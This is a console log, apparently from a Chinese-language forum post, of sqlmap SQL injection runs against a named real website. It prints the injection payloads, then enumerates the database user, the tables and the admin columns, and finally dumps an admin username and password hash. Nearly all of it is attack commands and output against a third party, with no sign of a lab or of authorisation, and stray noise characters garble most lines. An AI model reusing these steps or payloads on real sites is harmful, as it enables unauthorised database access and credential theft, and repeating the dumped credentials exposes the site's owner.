D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db0 w! f5 F; J' c9 G8 r
ms "Mysql" --current-user /* 注解:获取当前用户名称
: J. y r* n+ w) ^2 w sqlmap/0.9 - automatic SQL injection and database takeover tool
+ w4 a0 E: r& j; v http://sqlmap.sourceforge.net starting at: 16:53:54
8 Q& {& z' @9 ?[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
6 m; J' | B! ~ p session file: P, g/ B; u, V
[16:53:54] [INFO] resuming injection data from session file
9 y- o% x; {& p8 }[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
7 S5 N l' P3 m* s( k0 d[16:53:54] [INFO] testing connection to the target url
/ F0 [6 a' N3 S$ Z( Fsqlmap identified the following injection points with a total of 0 HTTP(s) reque8 K% q3 Z4 o/ J# W5 L0 m* i# y
sts:# W- X/ } t( Z5 c4 |0 Z
---
: @: D0 }4 y0 X2 @Place: GET) z; R2 B d: W( M
Parameter: id. X5 ~5 k- m2 \. g- g; c
Type: boolean-based blind* g# d; R& i* w
Title: AND boolean-based blind - WHERE or HAVING clause; c, Q0 }$ M: O4 P
Payload: id=276 AND 799=799
9 O( `+ F& M) W1 O; \/ j1 t Type: error-based
+ @0 [8 R" j& ?* I& r6 W Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause; p' E u0 r, I# f( `
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,3 K! |, `6 B9 K6 `. C) ^7 e/ A
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
! {1 V+ S: L9 b( G( _),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
0 F( i0 g' Z3 f- x Type: UNION query
( u" `) r, q+ y9 T2 o! E Title: MySQL UNION query (NULL) - 1 to 10 columns
1 [2 ]/ N& n4 [. I* {) t. @& W Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
+ a+ [; ?" i& R# y- `9 I(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
' M& C2 t# O, b I8 b9 oCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
6 _. a- m4 K$ Q% T Type: AND/OR time-based blind
( v2 W0 x9 I+ h6 |) p# k/ Q% f Title: MySQL > 5.0.11 AND time-based blind3 b- b$ I4 ^4 m& @9 ?0 s
Payload: id=276 AND SLEEP(5)* j; ~4 l7 s7 \& z/ u) b
---/ J# r6 [( x7 H& ~; N/ H
[16:53:55] [INFO] the back-end DBMS is MySQL3 j3 p) ~4 E) U( W: ^
web server operating system: Windows. H. N' r1 P: ]4 W9 S
web application technology: Apache 2.2.11, PHP 5.3.0 g. F6 b2 \ r- i
back-end DBMS: MySQL 5.02 w8 ?) z4 W) y0 @- Q$ e/ ]' k
[16:53:55] [INFO] fetching current user
4 w9 l+ Q9 W3 E/ H8 @( V) r2 V! [current user: 'root@localhost' . G$ {7 W( @2 }# _# i0 t; p' y9 J
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
% g. K$ C, q$ v. s Q& Y; ?tput\www.wepost.com.hk' shutting down at: 16:53:58
) O6 V9 e: e b9 U: Z i3 ]) j* m+ L P7 L4 S; ]& P6 Y5 j
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db6 u# \6 t3 S" @" i6 ]3 |
ms "Mysql" --current-db /*当前数据库
V; j8 S# p- S! A c sqlmap/0.9 - automatic SQL injection and database takeover tool
( ^# ^5 Z' i2 W' t/ L0 J( v- D2 v http://sqlmap.sourceforge.net starting at: 16:54:16" N" E4 l" H1 z( N2 k
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as$ ?, }4 v* q6 Y$ F4 k
session file$ H' ]1 t9 w, }" }6 i
[16:54:16] [INFO] resuming injection data from session file
; X, ?3 Y# }3 ?; g. t! i* {[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file" X! i* M, R4 L% ^- a0 r8 A2 q* ?$ N
[16:54:16] [INFO] testing connection to the target url2 @- j2 l5 [+ B! [1 M
sqlmap identified the following injection points with a total of 0 HTTP(s) reque1 l; U' ~! I# Y6 u
sts:( {5 H# V' ]( j/ p$ w% _
---
" g" e: h7 e3 { vPlace: GET
: L" a, C; e: uParameter: id
6 _- E$ p- ~1 b Type: boolean-based blind
% {2 p3 {+ s2 H% M0 L% T: K Title: AND boolean-based blind - WHERE or HAVING clause6 ^5 Z4 u6 Q2 \7 a& j* D1 M
Payload: id=276 AND 799=799
; U% E, u w- d- B, V5 ^ Type: error-based4 [5 q0 H Q! T q: e5 m: H
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause( y J! ?: `% I2 O! u0 T
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,9 _+ F( a' _" A% ^, i
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' \& v) Q7 D! Z$ o* N1 U
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ i5 Y8 B6 A4 h; y3 h' [4 a" T
Type: UNION query% f5 g+ A& u9 c
Title: MySQL UNION query (NULL) - 1 to 10 columns. G$ X0 v6 |' V" Z6 [2 @5 N
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
& V% N! N/ Q; Y5 y8 N(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),' Y1 x5 y T0 e9 v5 G# N) `; m% n4 S
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#1 B5 A# \- g) b) f3 I1 y
Type: AND/OR time-based blind
+ N7 e3 o: H# [& w" ?' N Title: MySQL > 5.0.11 AND time-based blind
) d0 k- z- y8 @+ c1 e# @ Payload: id=276 AND SLEEP(5)
* n' C8 i/ s6 J% O: T: ~5 C---! Q1 @$ z9 }8 N
[16:54:17] [INFO] the back-end DBMS is MySQL
% C# S% w2 Y% [ r" jweb server operating system: Windows
( ]! W* s* Q- _3 W( Gweb application technology: Apache 2.2.11, PHP 5.3.0: e; y; E; ?2 I3 u: B& {
back-end DBMS: MySQL 5.0
; U0 F8 j# I; Y4 P& k% C$ F$ Q: \[16:54:17] [INFO] fetching current database
* g' ^7 ~. d) e$ b4 M. l gcurrent database: 'wepost'6 u' _2 a$ }! t
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou+ ?" T# y; }- w# n8 x
tput\www.wepost.com.hk' shutting down at: 16:54:18
a& G p" j- t5 vD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db3 ^+ W# y+ \- |' U
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
$ Y7 u6 _/ L5 g. n* e sqlmap/0.9 - automatic SQL injection and database takeover tool
. r) ` t" d5 n+ d http://sqlmap.sourceforge.net starting at: 16:55:25
6 r( E1 l7 F- }8 e' i! X5 |1 c$ e[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
( q( c8 m( ^7 U" N/ ~2 x3 ` session file5 p1 i( E% K) |
[16:55:25] [INFO] resuming injection data from session file# o2 C" W8 t: r7 H* V, c
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
/ O! x& n% ~1 d# B[16:55:25] [INFO] testing connection to the target url0 u" M, Y2 d3 b5 w+ y. w; a" c
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
$ u4 o9 s: t" W" M8 f9 E" e' Q$ L9 Zsts:8 Q7 x. s: |! T. y$ `* z# N0 S
---
! I' O, M; T# k1 RPlace: GET
7 ~& f4 x1 C1 p+ w) B& UParameter: id" I0 U/ ]4 ~/ Y& q! U' h4 ^
Type: boolean-based blind
; t* O- A, c) T. Q" k Title: AND boolean-based blind - WHERE or HAVING clause& u, t8 X- H1 y9 C0 N- J
Payload: id=276 AND 799=799
1 z6 |" j6 b6 {$ g A% W& j Type: error-based( x# |1 v4 x+ p( t9 G S
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause5 m, q w: v) _. q$ j
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,3 A2 [. E7 G1 M9 T
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& D5 b) k: o% f6 P: @
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)' S( T! e8 C- t0 [* l
Type: UNION query' {0 \" c X( V1 J Q. j
Title: MySQL UNION query (NULL) - 1 to 10 columns0 s3 U3 q9 d0 A/ t* H. I3 y
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR7 e& Q' o- t! z- J
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),' |* Z5 p) {3 \
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
0 Q" ^9 F) [5 {" j9 c* r Type: AND/OR time-based blind
3 w+ H' W; P' K7 D9 N Title: MySQL > 5.0.11 AND time-based blind
* p: g1 a" x9 K2 c9 | Payload: id=276 AND SLEEP(5)
/ j/ j! A) b; ~9 J7 U+ L% e; }---
. E' L+ u* L6 U' t9 P' q[16:55:26] [INFO] the back-end DBMS is MySQL) v5 \2 p! i9 l" U
web server operating system: Windows5 t8 M+ P6 Y. U
web application technology: Apache 2.2.11, PHP 5.3.0" I9 q# k3 U0 @, J x0 M7 s
back-end DBMS: MySQL 5.02 C( k8 p) l3 ~; ~# N/ j. k, r
[16:55:26] [INFO] fetching tables for database 'wepost'+ T$ c2 |" I! P* S3 d
[16:55:27] [INFO] the SQL query used returns 6 entries
0 T1 [6 o% z1 U/ F7 M" P3 ~1 JDatabase: wepost2 r1 g& E6 \( A& l& C: |) A2 i! U7 j# [
[6 tables]; C9 x0 G9 X0 ?8 p- d
+-------------+- R! w6 x, \2 R% `" T( V" |% H8 O
| admin |
+ f, j+ x9 d2 ?| article |
]/ u' D6 @) \8 p/ J| contributor |+ C3 B# a, \. r
| idea |8 p% ?$ O) B) j' o
| image |2 @: `2 c) M7 I1 m0 D
| issue |+ ?8 k1 j: @* \6 Y H$ P# M
+-------------+1 b$ I6 a& q" J' ~( N0 \8 f
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
* s# n+ M5 |% ~( Y0 ^" o" ytput\www.wepost.com.hk' shutting down at: 16:55:33
; b* S ?. _ a5 @4 b
0 ]4 d+ O( [$ |: E( s2 ND:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
3 ?$ P4 E/ f/ z3 R; f3 [ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
+ x- n/ e$ a1 ~" s: K$ m3 Y sqlmap/0.9 - automatic SQL injection and database takeover tool& ^5 j. L- F8 K, q
http://sqlmap.sourceforge.net starting at: 16:56:06
/ M; ? U g; I [' T$ X2 psqlmap identified the following injection points with a total of 0 HTTP(s) reque! c% G4 L5 R1 y4 n! V0 H
sts:, U, t ?" K8 a
---: `: E# p) u6 j7 S) ^4 f# g% E
Place: GET
# ], J3 g3 h; `8 d. l9 ]Parameter: id
4 _) `, y/ ~; q& P1 Z Type: boolean-based blind" y5 u W5 j/ B. Q: P
Title: AND boolean-based blind - WHERE or HAVING clause: q8 I) {! X$ z
Payload: id=276 AND 799=7995 {6 W# e% v, D* N" H
Type: error-based
* l, l& Z/ V- C Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
4 E: R# g0 v/ F$ W. O7 h7 m3 Y- W Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
, K, V5 y. b$ A* U( x6 A) ?120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
! F7 P8 B6 ?, i# |9 A. B),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
3 l* L% g; `! o' c" X Type: UNION query3 }! y6 |! d7 Y
Title: MySQL UNION query (NULL) - 1 to 10 columns1 A. k9 S6 c) L
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
" T$ B6 N8 F; D' U( M* M4 N. p. D(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
" B1 P6 V9 d& L) h2 fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
" p0 }" K: j. _* e# J Type: AND/OR time-based blind
8 S" P* v6 f/ e; R8 Z0 Z1 ~ Title: MySQL > 5.0.11 AND time-based blind
" C; u/ `: A9 c9 i Payload: id=276 AND SLEEP(5)2 I7 T- J j4 c9 m) `
---
5 A# y- X |5 F# X) s) gweb server operating system: Windows7 L Q! I& x, f+ j
web application technology: Apache 2.2.11, PHP 5.3.09 a# ^$ m. `( n
back-end DBMS: MySQL 5.0
& h; S4 ?0 a* e- E& V# C0 M9 |[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
3 Z" }9 U2 k; _5 D3 cssion': wepost, wepost; @, L0 x; y, d) u5 u
Database: wepost
. ^( Y; B& A# NTable: admin
0 q3 @) c* C# R4 l[4 columns]; \ s, s, ` }: s9 E( W
+----------+-------------+
+ l5 g4 _: |. [1 w| Column | Type |, O8 \4 F9 [" i+ j9 E+ h) l
+----------+-------------+
4 G8 l# J. q O+ ]6 ]+ B| id | int(11) |
8 J0 S O/ [' @2 y3 || password | varchar(32) |
7 t8 d. a1 h4 {| type | varchar(10) |
E d, ]. ~$ t! T% a' ]| userid | varchar(20) |# l9 X9 h" A, z8 ?! a
+----------+-------------+
5 Y* m/ R. `3 w1 a- P2 L8 O shutting down at: 16:56:19% s3 [2 @1 I5 l* g( j
# S6 T* h/ q# b" d6 F+ Q8 u# u
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
- B8 \, H* }. g5 j- Vms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容 x, s( y \ P1 T+ K* W% a& {
sqlmap/0.9 - automatic SQL injection and database takeover tool& v6 h: c! g; m7 P
http://sqlmap.sourceforge.net starting at: 16:57:14
' L0 ~1 W% Z Lsqlmap identified the following injection points with a total of 0 HTTP(s) reque8 B9 x! z+ ]: B" t
sts:
) {6 A- v6 E; J' {7 C/ y---6 A8 z! T0 Y( X5 X( J" D
Place: GET7 w W8 t( G0 C! q2 A
Parameter: id7 Q. d% ~2 J/ H1 s+ Q; k/ c
Type: boolean-based blind
+ w0 e. T; A/ x: g% n. Y1 I4 s Title: AND boolean-based blind - WHERE or HAVING clause7 r1 o! k% h3 x0 I' S
Payload: id=276 AND 799=799
; }8 m K3 x: A% W) l Type: error-based
, }* r t4 @% c) m) b! S Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
2 [2 K% m' r8 R. m) e1 ~ v Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
* X! U5 D9 W( q j' ]120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
; g* @. @" C5 e) r% }) f),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
- H- A( `) v$ A W- ]/ o* o Type: UNION query0 _ ]) x& |& n" w$ y
Title: MySQL UNION query (NULL) - 1 to 10 columns
3 B7 K0 ^' b1 ~. P Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR! s6 d3 R6 J5 L4 R! o
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
/ Y1 _4 v. R5 T7 u# x( A8 J7 [CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
+ }2 `) v7 S0 T7 F Type: AND/OR time-based blind3 e9 f% f8 w2 n: q4 R- o
Title: MySQL > 5.0.11 AND time-based blind7 l! _, R, k) k6 H
Payload: id=276 AND SLEEP(5)
) m0 T3 t, r1 |; G3 I- h---0 F- n$ R) j6 q+ b8 W* U" r6 v
web server operating system: Windows5 A7 D- M- W7 ~& {) B
web application technology: Apache 2.2.11, PHP 5.3.0- I/ [4 V% M; X: }) X
back-end DBMS: MySQL 5.0
. z1 G0 X4 }8 f R' u/ Frecognized possible password hash values. do you want to use dictionary attack o2 O8 j$ j1 j: ^4 z; b$ ^
n retrieved table items? [Y/n/q] y7 y! |! y3 h. A C" v U
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]0 v( W- y. g; O5 F9 V
do you want to use common password suffixes? (slow!) [y/N] y( L# q6 q" a2 F' f* |, d6 F
Database: wepost1 L8 t1 T# |; E4 U+ B/ S
Table: admin
. _3 {: d) @& I6 \[1 entry]
$ Q: [, `" v3 E" Y- V H+----------------------------------+------------+4 F* {" r% s* C9 n
| password | userid |
3 g, g) }9 V, F. m, p! j. r+----------------------------------+------------+; P& R6 j; D/ F: N5 R5 i
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
, H: b( V0 B( e/ D7 s, ^+----------------------------------+------------+
0 }2 [, {% R4 Z- o& g( W" ~ shutting down at: 16:58:140 I! y% J8 {/ N/ L
6 f; l9 ^# d7 Y7 [0 gD:\Python27\sqlmap> |